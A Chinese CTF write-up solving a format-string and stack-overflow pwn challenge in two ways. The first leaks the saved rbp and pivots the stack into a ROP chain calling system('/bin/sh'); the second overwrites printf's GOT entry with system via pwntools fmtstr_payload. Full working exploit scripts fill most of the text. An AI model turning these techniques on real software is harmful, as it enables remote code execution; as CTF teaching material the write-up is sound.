例行检查:
确定是64位动态链接文件并且只开启了NX保护。
ida查看:
这里有两次read输入,但是第一次限制字符长度为0x48,小于s的栈空间0x50。所以这里肯定无法进行栈溢出。
那我们再看下一个read,发现这一个虽然可以进行溢出但是仅仅只能溢出0x10字节长度的数据,那么长rop链必然是无法构造了。
那我第一想法就是栈迁移。大致原理在之前一篇wp中写过。
要进行栈迁移我们就必须要得到pre-rbp的地址
这里就得用GDB动态调试一波:
这里就可以计算出rbp知道rbp的位置,于是乎就可以泄露rbp的地址。
pythonio.send(b'%16$p')
io.recvuntil(b'hello')
pre_rbp = int(io.recv(12),16)
这里pre_rbp = int(io.recv(12),16)
不可以用u64()那一个语句,因为这里我们接收的其实就是一段16进制数据而并不是一串字符序列。
有了rbp的地址我们还得计算主调函数与被调函数rbp的偏移,因为被调函数的rbp中放的是主调函数的地址,所以还得再调试一波;
从这里不难看出offset为0x10
根据ida可以知道栈空间为0x50,所以可以算出我们新栈帧的栈顶应该在pre_rbp-0x60的位置上
pythonfrom pwn import*
context(log_level = 'debug',arch='amd64',os = 'linux')
#io =remote('node4.anna.nssctf.cn',28324)
io = process('/home/hyrink/ctftest/pre-save/hdctf')
elf = ELF('/home/hyrink/ctftest/pre-save/hdctf')
io.recv()
io.send(b'%16$p')
io.recvuntil(b'hello')
pre_rbp = int(io.recv(12),16)
leave_ret = 0x04007f2
#泄露ebp地址
print(hex(pre_rbp))
#发送攻击脚本
new_rbp = pre_rbp-0x60
ret = 0x04005b9
system = 0x04005E0
pop_rdi = 0x04008d3
io.recv()
payload = (b'a'*(0x8)+p64(pop_rdi)+p64(pre_rbp - 0x40)+p64(system)+b'/bin/sh').ljust(0x50,b'\x00')+p64(new_rbp)+p64(leave_ret)
io.sendline(payload)
io.interactive()
这道题其实想了挺久的,果然菜是原罪。(悲
做法二其实是我看dalao们的writeup才知道的,也是属于格式化字符串的利用,只不过我们不再需要栈迁移,而是直接劫持printf_got地址。
这里先介绍一个pwntools中提供的一个方法:fmtstr_payload()
pwnlib.fmtstr.``fmtstr_payload
(偏移量, 写入, numbwrite=0, write_size='byte') → str[来源]使用给定参数生成有效负载。 它可以生成 32 位或 64 位架构的有效负载。 地址的大小取自
context.bits
溢出参数是格式字符串长度到输出量的权衡: 的值越大,生成的格式字符串越短,这些字符串在运行时生成更多的输出。
overflows
参数: 偏移量 (INT) – 您控制的第一个格式化程序的偏移量写入(字典) – 带有地址的字典,值 {addr: value, addr2: value2}
numbwrite (int) – printf 函数已经写入的字节数write_size (str) – 必须是 或 。告诉您是要逐字节写入、短按短写还是按整数写入(hhn、hn 或 n)byte``short``int
溢出 (INT) – 允许多少额外溢出(大小为 sz)以减少格式字符串的长度策略 (str) – “快速”或“小”(默认为“小”,如果有很多写入,则可以使用“快速”)返回: 有效负载,以便执行所需的写入 参考:
所以这里我们可以利用这一个方法直接劫持printf_got表地址,修改为system的plt地址(前提是程序中有system函数)
pythonfrom pwn import*
context(log_level='debug',arch='amd64',os='linux')
io = remote('node4.anna.nssctf.cn',28413)
#io = process('/home/hyrink/ctftest/pre-save/hdctf')
elf = ELF('/home/hyrink/ctftest/pre-save/hdctf')
printf_got = elf.got['printf']
system = elf.plt['system']
vuln = elf.symbols['vuln']
payload = fmtstr_payload(6,{printf_got:system})
然后直接在第二次溢出点返回vuln函数再次执printf函数(实际为system):
所以接下来只需要输入/bin/sh即可
pythonio.send(payload)
payload = b'a'*(0x50+8)+p64(vuln)
#io.recvuntil(b'keep on !\n')
io.send(payload)
io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')
io.interactive()
pythonfrom pwn import*
context(log_level='debug',arch='amd64',os='linux')
io = remote('node4.anna.nssctf.cn',28413)
#io = process('/home/hyrink/ctftest/pre-save/hdctf')
elf = ELF('/home/hyrink/ctftest/pre-save/hdctf')
printf_got = elf.got['printf']
system = elf.plt['system']
vuln = elf.symbols['vuln']
payload = fmtstr_payload(6,{printf_got:system})
io.send(payload)
payload = b'a'*(0x50+8)+p64(vuln)
#io.recvuntil(b'keep on !\n')
io.send(payload)
io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')
io.interactive()
flag:
作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!